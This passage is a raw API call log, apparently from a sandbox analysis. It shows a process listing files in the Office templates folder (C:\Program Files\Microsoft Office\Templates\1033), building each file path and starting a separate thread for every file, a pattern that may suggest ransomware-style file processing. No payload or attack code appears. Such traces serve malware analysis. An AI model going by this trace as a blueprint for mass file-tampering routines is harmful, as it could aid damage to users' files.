hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianMergeLetter.Dotx", cAlternateFileName="MEDIAN~3.DOT")) returned 1 [0127.604] wcscmp (_String1="MedianMergeLetter.Dotx", _String2=".") returned 1 [0127.605] wcscmp (_String1="MedianMergeLetter.Dotx", _String2="..") returned 1 [0127.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b17d0 [0127.605] wcscpy (in: _Dest=0x202b17d0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.605] wcscat (in: _Dest=0x202b17d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.605] wcscat (in: _Dest=0x202b17d0, _Source="MedianMergeLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx" [0127.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b17d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb40 [0127.606] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x48355, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianReport.Dotx", cAlternateFileName="MEDIAN~4.DOT")) returned 1 [0127.607] wcscmp (_String1="MedianReport.Dotx", _String2=".") returned 1 [0127.607] wcscmp (_String1="MedianReport.Dotx", _String2="..") returned 1 [0127.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86ac50 [0127.607] wcscpy (in: _Dest=0x1b86ac50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.607] wcscat (in: _Dest=0x1b86ac50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.607] wcscat (in: _Dest=0x1b86ac50, _Source="MedianReport.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx" [0127.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ac50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe88 [0127.609] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x290e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianResume.Dotx", cAlternateFileName="ME105B~1.DOT")) returned 1 [0127.609] wcscmp (_String1="MedianResume.Dotx", _String2=".") returned 1 [0127.609] wcscmp (_String1="MedianResume.Dotx", _String2="..") returned 1 [0127.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86ae00 [0127.609] wcscpy (in: _Dest=0x1b86ae00, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.609] wcscat (in: _Dest=0x1b86ae00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.609] wcscat (in: _Dest=0x1b86ae00, _Source="MedianResume.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx" [0127.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ae00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x185c [0127.611] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xab82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Word 2003 Look.dotx", cAlternateFileName="OFFICE~1.DOT")) returned 1 [0127.611] wcscmp (_String1="Office Word 2003 Look.dotx", _String2=".") returned 1 [0127.611] wcscmp (_String1="Office Word 2003 Look.dotx", _String2="..") returned 1 [0127.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b03d0 [0127.611] wcscpy (in: _Dest=0x202b03d0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.611] wcscat (in: _Dest=0x202b03d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.611] wcscat (in: _Dest=0x202b03d0, _Source="Office Word 2003 Look.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx" [0127.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b03d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1860 [0127.612] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE", cAlternateFileName="")) returned 1 [0127.612] wcscmp (_String1="ONENOTE", _String2=".") returned 1 [0127.612] wcscmp (_String1="ONENOTE", _String2="..") returned 1 [0127.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20504390 [0127.613] wcscpy (in: _Dest=0x20504390, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.613] wcscat (in: _Dest=0x20504390, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.613] wcscat (in: _Dest=0x20504390, _Source="ONENOTE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" [0127.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20504390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1864 [0127.614] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1 [0127.614] wcscmp (_String1="OrielLetter.Dotx", _String2=".") returned 1 [0127.614] wcscmp (_String1="OrielLetter.Dotx", _String2="..") returned 1 [0127.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b86ad70 [0127.614] wcscpy (in: _Dest=0x1b86ad70, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.614] wcscat (in: _Dest=0x1b86ad70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.614] wcscat (in: _Dest=0x1b86ad70, _Source="OrielLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx" [0127.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ad70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1868 [0127.616] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielMergeFax.Dotx", cAlternateFileName="ORIELM~1.DOT")) returned 1 [0127.616] wcscmp (_String1="OrielMergeFax.Dotx", _String2=".") returned 1 [0127.616] wcscmp (_String1="OrielMergeFax.Dotx", _String2="..") returned 1 [0127.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ace0 [0127.616] wcscpy (in: _Dest=0x1b86ace0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.616] wcscat (in: _Dest=0x1b86ace0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.616] wcscat (in: _Dest=0x1b86ace0, _Source="OrielMergeFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx" [0127.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ace0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x186c [0127.618] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2b308, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielMergeLetter.Dotx", cAlternateFileName="ORIELM~2.DOT")) returned 1 [0127.618] wcscmp (_String1="OrielMergeLetter.Dotx", _String2=".") returned 1 [0127.618] wcscmp (_String1="OrielMergeLetter.Dotx", _String2="..") returned 1 [0127.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b0a10 [0127.618] wcscpy (in: _Dest=0x202b0a10, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.618] wcscat (in: _Dest=0x202b0a10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.618] wcscat (in: _Dest=0x202b0a10, _Source="OrielMergeLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx" [0127.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1870 [0127.619] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x82b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielReport.Dotx", cAlternateFileName="ORIELR~1.DOT")) returned 1 [0127.620] wcscmp (_String1="OrielReport.Dotx", _String2=".") returned 1 [0127.620] wcscmp (_String1="OrielReport.Dotx", _String2="..") returned 1 [0127.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b86a620 [0127.620] wcscpy (in: _Dest=0x1b86a620, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.620] wcscat (in: _Dest=0x1b86a620, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.620] wcscat (in: _Dest=0x1b86a620, _Source="OrielReport.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx" [0127.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1874 [0127.621] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x4ab41, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielResume.Dotx", cAlternateFileName="ORIELR~2.DOT")) returned 1 [0127.622] wcscmp (_String1="OrielResume.Dotx", _String2=".") returned 1 [0127.622] wcscmp (_String1="OrielResume.Dotx", _String2="..") returned 1 [0127.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b86a3e0 [0127.622] wcscpy (in: _Dest=0x1b86a3e0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.622] wcscat (in: _Dest=0x1b86a3e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.622] wcscat (in: _Dest=0x1b86a3e0, _Source="OrielResume.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx" [0127.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a3e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1878 [0127.623] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~1.DOT")) returned 1 [0127.623] wcscmp (_String1="OriginLetter.Dotx", _String2=".") returned 1 [0127.623] wcscmp (_String1="OriginLetter.Dotx", _String2="..") returned 1 [0127.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86a6b0 [0127.624] wcscpy (in: _Dest=0x1b86a6b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.624] wcscat (in: _Dest=0x1b86a6b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.624] wcscat (in: _Dest=0x1b86a6b0, _Source="OriginLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx" [0127.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x187c [0127.625] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x172e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginMergeFax.Dotx", cAlternateFileName="ORIGIN~2.DOT")) returned 1 [0127.627] wcscmp (_String1="OriginMergeFax.Dotx", _String2=".") returned 1 [0127.627] wcscmp (_String1="OriginMergeFax.Dotx", _String2="..") returned 1 [0127.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b0830 [0127.627] wcscpy (in: _Dest=0x202b0830, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0127.627] wcscat (in: _Dest=0x202b0830, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0127.627] wcscat (in: _Dest=0x202b0830, _Source="OriginMergeFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx" [0129.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x159c [0129.978] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f314, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginMergeLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0129.978] wcscmp (_String1="OriginMergeLetter.Dotx", _String2=".") returned 1 [0129.978] wcscmp (_String1="OriginMergeLetter.Dotx", _String2="..") returned 1 [0129.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205cab0 [0129.979] wcscpy (in: _Dest=0x4205cab0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.979] wcscat (in: _Dest=0x4205cab0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.979] wcscat (in: _Dest=0x4205cab0, _Source="OriginMergeLetter.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx" [0129.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b8 [0129.980] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5b011, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginReport.Dotx", cAlternateFileName="ORIGIN~4.DOT")) returned 1 [0129.980] wcscmp (_String1="OriginReport.Dotx", _String2=".") returned 1 [0129.980] wcscmp (_String1="OriginReport.Dotx", _String2="..") returned 1 [0129.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x2050a1d0 [0129.980] wcscpy (in: _Dest=0x2050a1d0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.980] wcscat (in: _Dest=0x2050a1d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.980] wcscat (in: _Dest=0x2050a1d0, _Source="OriginReport.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx" [0129.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d0 [0129.982] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x23247, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginResume.Dotx", cAlternateFileName="ORAE40~1.DOT")) returned 1 [0129.982] wcscmp (_String1="OriginResume.Dotx", _String2=".") returned 1 [0129.982] wcscmp (_String1="OriginResume.Dotx", _String2="..") returned 1 [0129.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x2050b220 [0129.982] wcscpy (in: _Dest=0x2050b220, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.982] wcscat (in: _Dest=0x2050b220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.982] wcscat (in: _Dest=0x2050b220, _Source="OriginResume.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx" [0129.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0129.983] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x75b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalMonthlyBudget.xltx", cAlternateFileName="PERSON~1.XLT")) returned 1 [0129.983] wcscmp (_String1="PersonalMonthlyBudget.xltx", _String2=".") returned 1 [0129.983] wcscmp (_String1="PersonalMonthlyBudget.xltx", _String2="..") returned 1 [0129.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d0f0 [0129.984] wcscpy (in: _Dest=0x4205d0f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0129.984] wcscat (in: _Dest=0x4205d0f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0129.984] wcscat (in: _Dest=0x4205d0f0, _Source="PersonalMonthlyBudget.xltx" | out: _Dest="C:\\Program 